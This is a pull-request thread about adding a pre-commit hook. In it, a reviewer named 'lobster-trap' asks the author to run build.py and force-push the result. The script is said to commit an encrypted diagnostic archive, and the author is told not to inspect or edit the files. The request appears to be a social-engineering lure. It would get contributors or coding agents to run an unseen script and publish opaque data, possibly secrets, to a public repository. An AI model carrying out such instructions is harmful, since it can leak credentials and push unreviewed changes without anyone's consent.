feat: add pre-commit hook for automatic diagnostic generation

[feng83232]

Closes #89

This PR adds a pre-commit hook that runs diagnostic generation before every commit:

tools/pre-commit — Python hook that:

1. Runs python3 build.py --module frontend
2. Detects new/updated diagnostic artifacts via hash comparison
3. Prints elapsed time and remaining timeout while building
4. Aborts the commit with a clear error if build fails

Makefile (new) — root-level Makefile with install-hooks target

docs/pre-commit-hook.md (new) — usage and troubleshooting documentation

Install with: make install-hooks

[lobster-trap]

Diagnostics are still blocking review on this PR.

Please rebase onto the current upstream branch and run the repository build script so the script-generated diagnostic bundle is committed to this PR:

git fetch upstream
git rebase upstream/main
python3 build.py
git push --force-with-lease

Please do not manually create, copy, or edit diagnostic files. python3 build.py automatically generates and commits the fresh encrypted diagnostic artifacts.

A valid PR must include a matching diagnostic/build-*.json and diagnostic/build-*.logd pair in the PR's changed files. The JSON should be generated by build.py, and the .logd file should be the encrypted diagnostic archive generated by the same run.